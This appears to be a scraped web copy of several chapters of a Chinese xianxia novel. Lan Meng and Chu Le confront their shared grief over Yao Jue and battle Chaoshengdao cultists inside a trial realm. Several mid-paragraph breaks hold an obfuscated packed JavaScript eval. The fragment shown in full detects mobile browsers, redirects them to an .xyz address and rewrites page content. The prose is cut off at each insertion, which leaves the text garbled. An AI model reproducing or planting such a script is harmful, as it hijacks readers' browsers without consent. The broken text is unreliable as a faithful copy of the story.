而就在她们消失的下一秒,一个疾风般的青色身影从远处掠了过来,越过她们打斗的地方,手拿匕首,呼吸之间便收割了剩余野狼的性命。 认出来人,娄雪沁猛地舒了一口气,“柳师兄!” 柳逸直开门见山:“那两个魔修和楚师姐呢?” “什么?魔修?”娄雪沁惊讶地张大了嘴,她立即往远处看去,奇道:“他们刚刚还在那里的!” “闫扶音也不见了!” – 圆日高悬,炙烤着荒无人烟的沙地。 楚乐一把将人推倒在了地上,用剑指着她的脖子,冷冷道:“你竟然还敢回来。” 岚孟咳了几声,嗓音沙哑道:“我不明白楚从事的意思。” 楚乐冷笑道:“装什么凄惨小白花呢,你知道我说的是什么。” “岚孟。” 岚孟僵在了原地,她从来没有想过只见一面楚乐便认出了她的真实身份,半晌才回过神来,冷静道:“你怎么知道是我。” 楚乐讽笑:“哈哈哈哈——我怎么知道是你?当年,英水河畔,你化作人形的时候,我就在旁边看着呢,很意外吧?” “你飞到尧玦的尸体上,吃下他的妖丹的时候,我就在旁边看着呢。” “你这个小偷。” 25. 悲莫停 岚孟的身体开始止不住地发抖,仿佛又回到十七年前那个残阳如血的黄昏。 当时她化形在即,被尧玦安置在了山到源。等她察觉异样赶到青丘的时候,即使拼死斩杀了入魔发狂的狐王宣措,却也什么都来不及了。 宣措死了,被他炼化血祭的狐族子弟全死了,赶来支援的清瑶宫山主王述青、揽月剑派长老高阙都死了。 尧玦单腿跪在英水河畔,只剩着一口气。 岚孟落在他的身前,地上浓稠的鲜血将她的羽毛染成了红色,鲜血将英水染成了红色,苍天也被染成血红一片,血气绵延数千里,大地一片疮痍,满目皆是红色。 “你来了。”他的语气轻松得像是在话家常,“对不起,我要食言了,恐怕等不到你化形的那一天了。” 他勾起唇笑了笑,金色眼眸中倒映着一只因为强行妖化而长大了数倍的灰蓝色山雀。 那是岚孟头一次知道“绝望”是什么滋味。 即使开了灵智已有八十年,即使跟在尧玦身边见过了无数生死离别,即使跟他学了成千上万咒术与阵法,可她没法念出咒语,没法书写符箓,甚至拾起掉落在地上的帕子,擦干净他嘴角的血迹也不能够。 她只是一只山雀。 她不过是一只山雀。 她出生于空山,由天地灵气幻化而成,自诞生以来,就只有那一丛雪地里的蔷薇花陪着她。或许是心血来潮,尧玦将她捡了回去。细心抚养一年后,她开了灵智,能听懂人说话了,尧玦很高兴,郑重其事地给她起了一个名字——岚孟。 此后八十年,她一直站在尧玦肩膀上,陪他看名山大川,陪他过刀山火海,终于摸到了化形的门槛。她多开心啊,化为人形以后就能堂堂正正站在尧玦身侧了,就能和尧玦一起战斗了,再也不会有人说他吃力不讨好,成日带着个什么都不会做的拖油瓶。 然而,造化弄人,谁也没有想到,青丘狐族之主会被蛊惑加入了朝圣道,用上百只妖狐行血祭之术,最后术法反噬自身,他成了魔气缭绕的怪物,狐族弟子也尽数入魔。 尧玦重伤未愈,为了天下苍生,来到青丘对抗宣措,却是双拳难敌四手。 她强行中止了化形,飞了一整天才来到了十万八千里以外的青丘,却只堪堪见到了尧玦最后一面。 他嘱咐她吃下妖丹以后便咽气了,那是他对她说的最后一句话,她没有理由不照做,于是她吞下了尧玦妖丹,来自神鸟重明的力量直接让她立地化为人形,修为也高涨至闻道境。 她是一棵被“揠苗助长”的苗,也是为了复仇而苟且偷生的火苗。 – “所以呢。” 岚孟没有起身,只掀开了鲛云纱,毫无阻隔地看着楚乐的眼睛,声音如古井般毫无波澜:“你要杀了我,给尧玦报仇吗?” 楚乐鼻头一酸,险些落下泪来。 她当然知道不是岚孟的错。 先是被数以千计的魔修围攻,经历了两天一夜的车轮战,尧玦早已是强弩之末,若不是岚孟及时赶到杀了狐王,他可能连妖丹都留不下。 她只不过是不甘心罢了。 为什么她不能来早一点,为什么她不能更强一点,为什么添乱的是她,受了伤动弹不得,只能眼睁睁看着尧玦战死的也是她。 她多喜欢尧玦啊。数十年如一日,她都站在他的身后仰望着他,渴望得到明月的垂怜,期盼着他能转过身来看她一眼,哪怕只是一眼,也足够了,她就有无限的勇气去面对一切磋磨。 他确实是转身看她了,只不过不是接受她的心意,而是用一如既往温和有礼的语气和她说,抱歉,我有意中人了。 强扭的瓜不甜嘛,更何况尧玦这头瓜她也扭不下来,所以她没有再去找他,忽略一切和他有关的消息,觉得时间推移,自己总能够放下的。就这么过了几年,她却忽然收到了他被困青丘的消息。她还是赶过来了,就算他不喜欢自己,她也希望他能好好活着,幸福美满地活着。 只可惜。 楚乐依旧拿朔风剑抵着岚孟的脖子,带着哭腔的话语冰凉又刻薄,“杀了你有什么用?杀了你尧玦就会活过来吗?” “你这个白眼狼,你是他一手养大的,他死了,你却逃得无影无踪。吸收了重明妖丹,不用修炼,轻轻松松就能成为一方大妖,这十七年过得很开心吧?不在你的安乐窝待着,现在又回来干什么!” “哈哈哈……”岚孟笑得眼泪花都出来了。 “那当然了,他死便死了,难道我也得跟着他死吗?把我养大又怎么了,天天像管囚犯似的管着我,这样不许那样不能,还逼着我一只鸟学咒术学阵法,他知道什么叫强人所难吗!他死了正好,没人再管着我了,我想干什么就干什么,这样的日子我巴不得过一辈子!” “啪!”楚乐怒极,扬手抽了岚孟一巴掌,帷帽被掀飞出去,岚孟整张脸都暴露在了阳光之下,她的嘴角缓缓渗出一滴血来。 楚乐怔愣了一下,而就在这个空挡,岚孟敏捷地从地上跳了起来,曲腿往地上一扫,楚乐一时不防被她绊倒在地。 岚孟跨跪在楚乐身上制住她的腿,两手掐着她的脖子。 而朔风剑也横斜在岚孟的后脖颈,锐利的剑锋在她皮肤上压出一道红痕。 岚孟“呸”的一口吐出淤血,笑得凄惨:“你呢,楚乐师姐,这些年来过得很不好吧?听说你因为心上人的离世悲痛欲绝,最后被人踢出任务堂了呀。” 楚乐咬牙切齿:“我的事还轮不到你管!” “明明杀人的帮凶就在眼前,却因为没有证据,不得不忍气吞声、虚为委蛇,啧啧,我都替你感到悲哀呢。” 楚乐眼睛瞪得像铜铃:“你都知道些什么?!” “我当然知道。”岚孟压低了声音,她弯下身体贴近她,瞳孔中楚乐震惊的面孔一寸寸变大。 “不就是觊觎掌炬的位置吗。许渭早就知道青丘的变故了,他封锁了消息,先设下埋伏重伤尧玦,然后才放出宣措入魔、要拿狐妖血祭的消息,尧玦来不及疗伤就赶去救援,最后当然如他所愿,毫不意外地战死了。” 她笑了起来,笑声充满了冰冷与讽刺。 “只可惜啊,他机关算尽,不惜和朝圣道联手也要杀死尧玦这个挡路石,结果呢,还不是得不到暾云炬的认可,倒是给别人做了嫁衣。” 楚乐眼中血丝更加浓重,几乎要渗出血来。 她好恨,恨不得将许渭千刀万剐。可许渭做事滴水不漏,当年参与此事的朝圣道教徒不是被尧玦所杀就是被许渭灭了口,她找了十七年也没找到有力的证据,更没有那个实力杀了许渭这个疯狗,只能眼睁睁看着他逍遥法外,自己却一点办法也没有。 岚孟继续道:“许渭背后还有大人物撑腰,否则他没那个能力封锁消息。” “是谁?”楚乐目眦欲裂。 “我不知道,但至少是个令尹。” “所以你这次回来是报仇的?” 岚孟平静道:“不然你以为我回来给山到源当牛做马吗?” “害过尧玦的人,我一个人都不会放过。” 楚乐紧紧盯着岚孟的眼睛,试图从她眼中找出欺骗、虚伪和犹疑,可她的眼神平静如死水,任何狂风骤雨都动摇不了她一分一毫。 眼中泪水终于决堤,楚乐缓缓将剑从岚孟的脖颈移开,“哐当”一声,朔风从她手中滑落在了地上。 岚孟松开了钳制楚乐脖颈的双手,翻身坐到了旁边,拾起帷帽扣在了头顶。她取出怀中玉牌,将方才的画面留影一一删去。 伸手抚着泛红的脸颊,她吃痛地“嘶”了一声,小声嘟囔着,下手真狠…… 沉默良久,楚乐坐直身体,擦干眼泪,将朔风收回了剑鞘之中,问道:“所以你有什么打算?直接杀了他?” 四周黄沙漫漫一眼望不到头,有多少人血洒黄沙,森森白骨埋于地下,不得重返家园。 她道:“这里倒是个好地方。” 岚孟冷笑:“怎么能让他那么轻易地就死了。他不是妄想取代尧玦成为掌炬吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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娄雪沁脱口而出道:“因为我觉得她长得好看又很厉害,想和她交朋友。” 柳逸直:“……” 好吧,基本可以排除娄雪沁也恢复记忆的可能性了。 看来确实是那片重明尾羽起了作用。仅仅是一片羽毛就能解开连梁齐安都解不开的记忆封禁术,尧玦的修为简直恐怖如斯。 刚刚叮嘱了他们一通朝圣道的事情,现在又询问闫扶音……娄雪沁忽然意识到了什么,惊恐道:“难道闫扶音也是朝圣道的?” 柳逸直连忙否认。虽然闫扶音此妖十分可疑,但她对魔修嫉恶如仇,不可能是朝圣道的,潜入山到源或许别有用心,但至少在对抗朝圣道这个方面,是和山到源站在同一战线上的,所以也不至于对其他无辜的考生下手,从娄雪沁的描述中也看得出来,她还是有意识地在护着他们的。 “那就好。”娄雪沁心有余悸地拍了拍胸口。她还以为闫扶音是坏人嘞。 她还想问些什么,不料柳逸直冷不丁打断了她:“娄师妹,你的玉牌在哪里?” “玉牌当然在我……”娄雪沁下意识回答,话说到一半才乍然想起来柳逸直此刻是稽查,是她的敌人,要是被他知道玉牌在哪里,她就玩完了! 娄雪沁猛地往后退了一大步,手里紧紧攥着欺梦笔,神色警惕地盯着柳逸直,同时一步一步往后退,眼见着他站在原地不动,并没有上前来抢玉牌的迹象,她拔腿就跑,使出了吃奶的力气,边跑边大声呼喊:“小的们!快跑!” 袁涯邻见到娄雪沁狂奔而来,虽然不明所以,但是他一向识时务,一把扛起万勉,一溜烟跑了。 鸣珂也紧跟其后。 三人很快就消失在了柳逸直的视野里。 嘿嘿。 柳逸直暗笑片刻便收敛了笑意,琥珀色的眼瞳中满是凝重。 该去抓老鼠了。 他抖了抖袖子,身形“唰”地一下消失了。 26. 常棣华 鹿城东,槐树林。夜空中无星也无月,黑压压的乌云一重盖着一重,地上昏暗无光,少数几根顶着枝叶的树干在枯树之中摇曳犹如幢幢鬼影,风声呜呜咽咽,寒气透过衣裳浸入皮肤,一丝一丝渗进了骨缝里。 一行人蹑手蹑脚走进了树林里。为首的是个年轻男子,他手里拿着两枚铜钱,每走一段距离便抛一次铜钱,再决定走哪个方向。他后面跟着一个沉默无声的男孩,两个姑娘走在最后。 正是袁涯邻一行人。 “你到底行不行啊!”娄雪沁小声催促道,“我们都走了大半个时辰了,怎么还找不到万芳里的埋骨地。” 鸣珂昏昏欲睡,眼睛简直就睁不开,所以娄雪沁只能扶着鸣珂的肩膀推着她走,这就让她一个人走在了最后。后背拔凉拔凉的,时不时有枯枝被踩断的“咔哒”声传入耳中,娄雪沁不敢回头,谁知道这地方有没有其他孤魂野鬼,她生怕一扭头便看见五官模糊、拖着长舌头的厉鬼跟在她后面,呼号着“还我命来”…… “你别催啊,我这不正找着呢么!”袁涯邻冷汗涔涔。在此空间里不能勾连天地之气,对他卜算的准确性影响很大,他只能来来回回多卜算几次,即使如此,他们也如鬼打墙一般在槐树林里绕了几圈了,怕她们害怕,他没敢将这话说出口。 两枚铜钱在空中划出弧线后径直掉落在他的手里,一枚正一枚反,袁涯邻调转方向往南走。 瞌睡中的鸣珂忽然抖了一下,眼神清明起来,“往西。” 袁涯邻扭头看她:“你感应到什么了?” 鸣珂点头道:“西边有鬼气。” 袁涯邻如蒙大赦,像是遇到了救星,他开心道:“那太好了,就算不是万芳里也会是其他的鬼,总算能遇到一个鬼了!” 娄雪沁:“……你闭嘴!” 鸣珂上前引路,袁涯邻走在了最后面。 娄雪沁松了一口气,总算不是她殿后了。 鸣珂走得越来越快,约摸走了一里地后,她猛地停了下来,转身朝他们比了个噤声的动作,几人躲在了树后。 只见二十丈远外的一株老槐树下有个通体漆黑的模糊影子,看背影像是万芳里。她背对着他们,手里好像在拉扯着什么,随着她的动作,细弱却尖锐的鬼啸起起落落,是寂静的树林里唯一的声响。 虽然吸收了足够多的怨气,万芳里的实力已经接近有厉鬼的水平,可她生前不过是个普通弱女子,对鬼气的掌握并不纯熟,是以她并没有发现贴了隐息符悄悄靠近的四人。 走近了,他们才看清万芳里手里拿着的是什么东西——那是另一个鬼,魂体被万芳里扯得破破烂烂。很显然,万芳里神志不清,并不清楚自己的行为对手里的鬼会造成多大的伤害,对那鬼的惨叫也充耳不闻。她手里还拿着一根细细的木棍,做着缝纫的动作,似乎是把木棍当成了针,将鬼当成了布,就这样“缝缝补补”,然后她凑到那鬼身上虚虚一咬,像是咬断了线头一般。 她两手抬起破布鬼看了看,脸上露出满意的笑容,开心道:“缝好了!” 她站了起来,举着鬼转了一圈,像是为终于缝补好了衣裳而开心雀跃的少女。她忽然停住了,焦急道:“天马上就冷了,得赶紧给阿弟送过去才行,不然会把身子冻坏的。” 她急匆匆地从四人面前走过,也让万勉看清了她现在的森然模样。 他哽咽道:“她,她真的是我姐姐吗?” 女鬼坑坑洼洼的脸和瘦削不堪只剩一层皮的身形深深映在了他的脑海,他的阿姐,明明健康圆润,身上很多软肉,大家都说她是有福之人,为什么会变成现在这般模样? “认不出来也不足为奇,你们都把她的肉剜了吃进肚子里了,□□不能归尘,魂魄不得往生,自然就变成那副鬼样子了。”鸣珂冷笑道。 娄雪沁扯了扯鸣珂的袖子,小声道:“鸣珂,你别这么说。”她看了眼一脸悲戚的万勉,心想这孩子被亲生父亲喂食了亲姐姐的肉,心里不知道有多伤心绝望呢。 袁涯邻叹气道:“易子而食,析骸以爨,人间地狱不过如此。” 一个没看住,万勉便直接冲了出去,眼里还挂着一泡眼泪,他边朝万芳里追去边哭喊道:“阿姐!” 这一嗓子让万芳里虎躯一震,她大叫一声,扔掉手里的破布鬼,一头撞进了身前的槐树里。 万勉飞扑过来一把抱住了槐树,眼泪鼻涕糊了一脸:“姐,我是阿勉啊!你出来看看我!” 槐树不会说话,躲在槐树里的鬼不敢说话。 “对不起,是我没有保护好阿姐,那天我不该跑出去玩的,要是我在的话,阿爹或许就会吃了我,不会吃阿姐了……” “阿姐,你出来好不好,我再也不会不听话了,你出来……” 娄雪沁吸了吸鼻子:“呜呜呜……” “别磨蹭了,照这样下去,就算他把嗓子嚎哑,万芳里也不会出来,我们得想想办法。”袁涯邻道。 “把树都砍了怎么样?这样她就没地方躲了。”鸣珂喜欢简单粗暴的方式。 “不行,这么多树哪砍得完,而且又不是只能躲在树里。”袁涯邻摇头否决。 “呜呜那去挖她的坟不就好了……”娄雪沁边拿帕子擤鼻涕边道,“肯定是万家村的人把她的尸骨埋到这林子里了,所以她受到惊吓以后也不会逃出这片林子,而且每天晚上都从这里出发往西边走。” 三人一同看向万芳里“缝衣服”时坐的那棵老槐树。 拿萤石凑近了一看,便会发现树下有泥土翻动的痕迹,袁涯邻将萤石递给娄雪沁,拿起旁边的枯树枝拨了拨,一根森然白骨露了出来。 他忽然打了个冷颤,在心里默念了三遍“无上太乙度厄天尊”才恢复了一些勇气,将土中白骨都刨了出来。 万芳里的尸骨被埋得很浅,也不是以人骨架的模样下葬的,没有用布或草席包裹,更没有棺材,完全是处理家禽家畜骨头的埋法,随意刨了个坑就把吃剩下的骨头扔了进去。 袁涯邻只感觉一阵胆寒。 在万家村人的心里,万芳里完全就是待宰的牛羊吧。在她笑着问候他们的时候,在她和大家一起挨饿,为明日前途担忧的时候,她尊敬的长辈,她敬爱的乡邻,心里想的却是她身上哪块肉可以吃,哪块不能吃。 难怪她会吸收怨气,被魔气侵蚀,生而为人却被人食,死了以后魂魄也不得超脱,谁能不哀?谁能不怨? 不知道挖了多久,袁涯邻挖出来的白骨已经堆成了一座小山,每一根骨头上都缠绕着细若游丝的魔气。得亏这只是历史幻影,否则近距离接触这么多魔气,他们几个早就被侵蚀了。 最底下是头骨,他刚把手放在骨头上,忽然听到了一声尖啸。 万芳里冲出槐树朝他们飞了过来,周身怨气与魔气交织在一起,让她看上去就像是一只黑色的大扑棱蛾子。 娄雪沁和鸣珂早就做好了准备。 欺梦笔画出几道水波袭向女鬼,被万芳里灵活地闪避开。 鸣珂拎着木棍飞向高空,本想给万芳里当头一棒,可怎料她那一棍根本没有打到实处,万芳里尖啸着穿过了她的身体。鸣珂只觉得刺骨的寒冷瞬间便浸透了她的身体,她在地上滚了一圈才站了起来,单手握拳,磅礴的妖气震开了冰寒怨气。 周身环绕着水波的娄雪沁朝万芳里扑去,像是想用自己的身体拦住她。然而万芳里没有如她的意,在娄雪沁即将碰到她的魂体时,她垂直往上飘到高空,紧接着俯冲而下,目标是那个妄动她头骨的人。 万芳里张开双手从背后抱住了那人,她收紧胳膊想将人直接勒死,然而手臂收紧的瞬间,那人忽然散作了上万只蝴蝶,每只泛着亮光的灵蝶上都延伸出数条光线,交织成鼎的样子,将万芳里罩在了地上。 万芳里两手撑在光罩上,想用蛮力将光罩打开,然而光罩是专门用来对付鬼魂的,她的手掌被灼烧得滋滋作响,万芳里疼得尖叫出声,猛地退离开来,然而后背又撞在了光罩上,她像是无头苍蝇一样在狭小的空间里乱撞几圈,吃尽苦头之后才终于安分了下来,蜷缩成一团蹲在了地上。 袁涯邻从暗处走了出来,抬手抹了抹头上的虚汗,轻松道:“还好抓住了。” “接下来该怎么办?”他问道。 “直接杀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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万勉干咳了几声,脸色稍微恢复了正常,他扑在了万芳里背上,脸埋在她的颈间,滚烫的泪水滴在了她冰凉的脖颈上。 “阿姐,快回来吧,你不该是这个样子……” 厉鬼化和魔气让万芳里变得嗜血难耐,她的胸膛急速起伏着,呼吸声越来越重,唇边流出一股股涎水,似乎下一秒就会暴起,用尖锐的獠牙咬断在场每一个人的脖颈。 “阿姐,阿姐——” 三人手持武器站在不远处,沉默而警惕地看着姐弟两人。 仿佛过了很久很久,奇迹般地,随着万勉的一声声呼唤,万芳里眼中的红色逐渐褪去,口中獠牙变回了普通牙齿的样子,她的眼瞳恢复了清澈,晶莹泪珠逐渐从眼眶里冒了出来,啪嗒啪嗒,浸润着干涸的土地。 她转身一把将万勉抱在了怀里,万勉一怔,更加用力地抱紧了姐姐。 娄雪沁猛地仰头看天。 忍住忍住,娄雪沁你可是最坚强的姑娘,怎么能被这等小场面感动。 袁涯邻感叹道:“死丧之威,兄弟孔怀①,若不是他们姐弟二人惺惺相惜,万芳里绝无可能清醒过来。” 鸣珂哼了一声,“虽然有个畜生爹,这小子倒还算有点人样。” 相拥哭泣了一阵,万芳里放开了万勉,她朝三人跪下叩首,声音沉着冷静:“多谢几位仙长相救,民女自知罪孽深重,愿永堕地狱赎清罪孽,还望仙长成全。” “姐……”万勉怔愣地看着万芳里,眼中泪水止不住地溢了出来。 娄雪沁揩了揩眼角,从怀里取出欺梦笔,笑道:“说什么傻话呢,你才不会下地狱,下辈子你一定会投胎到一个好人家,一生幸福美满,子孙满堂。” 欺梦笔划破夜空,带着莹莹星光的水滴落在了万芳里身上,万芳里的魂体逐渐飘浮了起来,而魔气与怨气则是逐渐下沉地底。魂体越发透明,万芳里的脸愈发圆润,身上逐渐长出了肉,不一会儿,她慢慢变成了生前健康丰腴的模样。 她笑着摸了摸万勉的头,朝三人盈盈一拜,然后便化作点点莹光消散了。 常棣之华,鄂不韡韡。 凡今之人,莫如兄弟。 死丧之威,兄弟孔怀。 原隰裒矣,兄弟求矣。② 27. 惊变起 两个人在夜空下疾驰。 其中一人背后负剑,剑鞘上绘刻了行云流水的线条。另一人腰左侧一柄华丽无比的短刀,腰右侧一柄朴素无华的短剑,过肩的黑发不扎不束,在风中肆意飞舞。 正是楚乐和岚孟二人。 稽查之间是互通消息的,方才楚乐收到了许渭的消息,说是遇到了朝圣道教徒,让其余稽查来接应。楚乐和岚孟所在的位置离许渭非常近,不到一盏茶时间就来到了许渭所说的小山丘。 战斗十分激烈,荒凉的沙地上飞沙乱石,灵气与魔气交缠碰撞产生的灵波摧毁了四周的巨石和树木,以二人为中心,方圆三里以内都被夷为了平地。 岚孟和楚乐躲在远处的土坡后隔山观虎斗。 “不愧是破妄境修士,几乎看不清楚他们的动作。”楚乐道。 岚孟冷哼道:“一个卑鄙小人,你夸他干啥。” 楚乐翻了个白眼,毫不客气地呛了回去:“我吃饱了撑地要夸他!老娘说的是另外那个!” “管你说的哪个,还不赶紧想办法让我近许贼的身。” “你不是有重明妖丹吗,尧玦死前可是已经造化境了!你个不成器的东西!在你这个不入流的小鸟手里,妖丹怕是都发挥不了一半的作用!” “你——你这婆娘真是站着说话不腰疼!神鸟重明的妖力是短短十七年就能掌握得了的吗!” 两人不合时宜地斗起嘴、掐起架来。 尧玦还活着的时候,她们二人一个是尧玦的爱慕者,一个姑且算是尧玦的弟子,楚乐想得到尧玦的青眼,自然要好好对待被尧玦养在身边的岚孟,所以她没少给岚孟喂灵米,一人一鸟的关系还算得上是融洽。 可十七年过去,尧玦的死早已成了她们心上的一道疤,更何况尧玦已经明确拒绝过楚乐了。岚孟的脾气算不得好,楚乐的嘴皮子功夫也见长,如今故人相见,好像也没有什么惺惺相惜的可能。 “嘘——”岚孟放开了楚乐的头发,改抓她的衣领,低声道:“有人来了。” 楚乐一把甩开岚孟的手,凝神听着夜风传来的动静,两人同时朝一个方向看去。 只见一群黑衣人狂奔而来,约摸有七八个,手中武器各异,为首的赫然是牛俊生和羊华。 “来的都是分身,难怪有恃无恐。”岚孟冷道。仔细一看,牛俊生被她斩断的一只手已经恢复了原样。 朝圣道有种秘技叫“烟锁池塘柳”,让教徒的真身沉睡于鬼柳池,魔气与池上烟气融合,会幻化出一副和真身一模一样的分身,只要真身不灭,分身就无穷无尽,像牛俊生这样断了手的,用不了多久,分身内的魔气会再“长”出一只手,只要位于心脏中的魔核没有碎,分身就不会死。 楚乐紧紧盯着牛俊生等人,皱眉道:“为何这么多?五十个考生里竟然有近十个朝圣道教徒吗?” 岚孟否定道:“恐怕是后来才迫使他们入魔的,你看其他人,表情呆滞,双目无神,应该是被控制了。” 楚乐反手抽出朔风剑,冷静道:“现在管不了那么多了,不能让许渭死在朝圣道手里。趁其他人还没来,我去对付那些杂碎,你去搞定许渭,等人都来了可就不好下手了。”言罢,她双腿发力,“嗖”地一声蹿了出去。 羊华只觉一个影子从远处的土坡后窜了出来,他举刀抵挡,一旁的牛俊生也跟着挥刀,两厢碰撞之下那人退了出去。 他定睛一看,咧开嘴笑道:“哟嚯,这不是姓楚的小娘们吗?爷爷我还没去找你,你倒是送上门来了!” 楚乐冷笑一声:“朝圣道的狗真是会叫啊,平日里没少吃屎吧?” “臭娘们嘴巴真毒。”羊华啐了一口,举起弯刀振臂一呼:“兄弟们,让她见识见识我们的厉害!” 楚乐挽了个剑花,冷冷道:“放马过来!” 岚孟还躲在坡后,眼见楚乐陷入了混战之中,她右手紧握参剑光滑的剑柄,就要将剑拔出来时,忽然感觉背后有劲风袭来,她瞬间放开参剑,以迅雷不及掩耳之速拔出商刀转身往后一挥。 商刀对上了一柄泛着寒光的匕首,刀刃相错发出刺耳的声音。 柳逸直愣了一下,收回匕首,往后退了一步,道:“怎么是你?” 这夜无星无月,他看到一个黑乎乎的身影躲在土坡后偷窥,还以为是朝圣道教徒呢。 岚孟抬眼看他,敛眸低低喊了一句:“柳师兄。” 心里却在暗骂,这个倒霉玩意来得可真快。所以她才讨厌风系,这小子比他师傅风菱衣还会坏事! 不等柳逸直发问,岚孟便率先解释道:“我是跟着楚乐师姐来的,她本来要夺我的玉牌,可收到了许令尹的传讯,就让我跟着来了。” 这话说得滴水不漏,既解释了自己为什么会在这里,又透露出“我也没办法,不是我想来是楚乐叫我来”的意思。不过柳逸直这会也没工夫找她的茬,他看一看左边打得不可开交的许渭,又看看右边被群魔包围的楚乐,沉吟道:“你我一起去助楚师姐,许令尹那边我们去了也是添乱。” 虽然他清楚这人实力不俗,可他和她毕竟才第二次见面,就让她这个“知行境前期”的考生去掺和破妄境修士的战局,他脑子被驴踢了才会做出这样的安排,更何况还会引起她的怀疑,他又不是傻,怎会留下这样的把柄? 岚孟只得答应,两人同时冲进了战圈。有了他们的助力,楚乐一下子轻松了不少,又砍了几个人以后,她终于找到机会来到岚孟身边,低声问道:“你怎的来了?” 岚孟一脚踹飞了一个人,叹气道:“别提了,被柳逸直逮住了。” 楚乐一时间竟然不知道该说啥,她提着朔风剑离开了岚孟身侧,以免被柳逸直觉察出不妥。 虽然羊华和牛俊生迫使几个考生入了魔,可毕竟时间尚短,魔气尚不能改造考生的经脉,他们的修为仍停留在元初、知行,在岚孟三人迅猛的攻击下,他们二人也无余力控制考生,几个考生陆续失去意识倒在了地上。 眼见着就要败北,牛俊生朝远处大喊道:“昌舵主,我等已经完成了使命,就不奉陪了!” 说完,牛俊生便又取出了那白珠想要故技重施,然而还不等他捏碎那珠子,眼前忽然有个影子一闪而过,等他回过神来,手中的白珠已经不见了。 柳逸直手里拿着两枚白珠,勾唇一笑:“同样的错误,我们可不会犯第二次。” 牛俊生怒发冲冠,提着弯刀就朝柳逸直挥去,却忽然听到了羊华的惊呼:“老牛,你身后!” 然而还不等他做出反应,他便忽然感觉后脖颈一疼,两眼顿时发黑,一头栽进了沙土里。蔷薇藤迅速缠绕住了牛俊生,藤条上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14929623|160615||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的刺变大变长,扎进了他的肉里,牛俊生惨叫出声。 羊玄惊骇地看着那个手握蔷薇藤条的黑衣女子,她看了过来,眼神冰冷,他忽然感觉一阵胆寒,五指狠狠往胸口一掏,拿出个黑色晶体出来,直接捏碎了,他的身体瞬间便爆炸开来,浓厚的黑雾遮挡了众人视线。 柳逸直五指曲张唤出玉白骨扇,往空中一扇,飓风将黑雾卷向高空,视野顿时变得清明。 岚孟拿商刀拍在牛俊生脸上,笑道:“如何?是不是连放弃这个分身都不能够了?” 牛俊生惊骇道:“你到底是何方神圣?” 岚孟冷笑:“朝圣道的狗可不配知道我的名字。” 她拿商刀抵着牛俊生的胸口,逼问道:“朝圣道来了多少人?我劝你老实回答,分身自爆和被人敲碎魔核可是两个完全不同的结果,我想你也不愿意损失两成的修为吧?” 这人绝对不简单啊,柳逸直腹诽道。他还是试炼前一日夜里的稽查议事会上才知晓朝圣道以分身行走世间一事的,而这个闫扶音,对于如何阻止分身自爆从而逃脱的方法她都信手拈来,说明她早就和朝圣道交过手了,对朝圣道的了解绝对不会比山到源少。 她来山到源到底有什么目的?莫非真是为了加入丹灵卫降妖除魔不成? 不确定,再观察观察。 牛俊生啐了一口道:“我是不会背叛圣者的,你就死了这条心吧。” 楚乐甩了甩朔风剑上的血,冷道:“死到临头还嘴硬,既然他不想说,那留着这条命也没什么意思,动手吧。” 岚孟举起商刀刚想狠狠扎进牛俊生的心脏,便听到了一声巨响。 三人闻声看去,只见远处的地面裂开了一条宽大的沟壑,许渭一手撑着剑半跪在地上,而那个昌舵主站在沟壑的另一边,哈哈大笑:“什么第一仙门山到源的令尹,也不过如此!” 三人立即朝许渭奔去,岚孟落在最后,她悄悄从芥子袋里拿出了一金一蓝两片羽毛,以指为刃在掌心划了一道口子,汩汩鲜血涌了出来将羽毛染成了红色,她收紧五指,羽毛化作齑粉,尽数被她捏在了手心。 许渭擦掉唇边的血,提剑站了起来,他放话道:“莫要高兴得太早了,你且看看你还能不能出得去!” 昌明捏碎白珠,然而什么事情也没有发生,他依然站在沟壑边缘。他马上就意识到了问题所在,冷笑一声:“出不去又如何,这不过是本座的一个分身罢了,而你们都会永远埋葬在这里!” “哈哈哈!”许渭仰头大笑,“你以为我们就毫无后手吗?” 就在这时,大地忽然开始晃动,漆黑夜空如镜面般碎裂开来,碎裂处产生了巨大的吸力,凌冽的罡风似乎要将所有事物都往裂口处刮去,是空间开始崩塌了。 与此同时,一束束光芒从天而降,罩在了每一个人身上,包括许渭等人、昌明和半死不活的牛俊生,传送的阵法已然开启,被光芒笼罩的人都会变被传送出去。 岚孟当机立断朝许渭扑去。 柳逸直一直留意着闫扶音的动作,见状下意识上前一步拉住她的胳膊。 刺眼的光芒中,许渭只感觉一只粘腻的手拍了自己的手背一把,转瞬之间那粘腻似血的触感便消失了。 几百道光芒同时升入高空,眨眼间空间内的所有人都被传送了出去。 28. 祈雨山 一阵天旋地转之后,岚孟感觉自己摔在了一个人身上,结合传送之前的情形,她大概知道这个倒霉蛋是谁了。 她立即翻身爬了起来。 耳边是鸟语虫鸣,草木香味争先恐后涌入她的鼻中,这些都无关紧要,最要命的是外界现在居然是白天,强烈的日光灼烧着她的眼睛,眼眶不可遏制地溢出两行清泪来。 方才芥子袋没有收紧,帷帽不知掉何处去了,她蹲在草地上,左手捂着眼睛,右手在草地上胡乱摸索。 “你在找这个吗?”她身后忽然传来了柳逸直的声音。 她一下子站了起来,右手下意识去摸商刀,旋即才朝声源方向伸出了手。 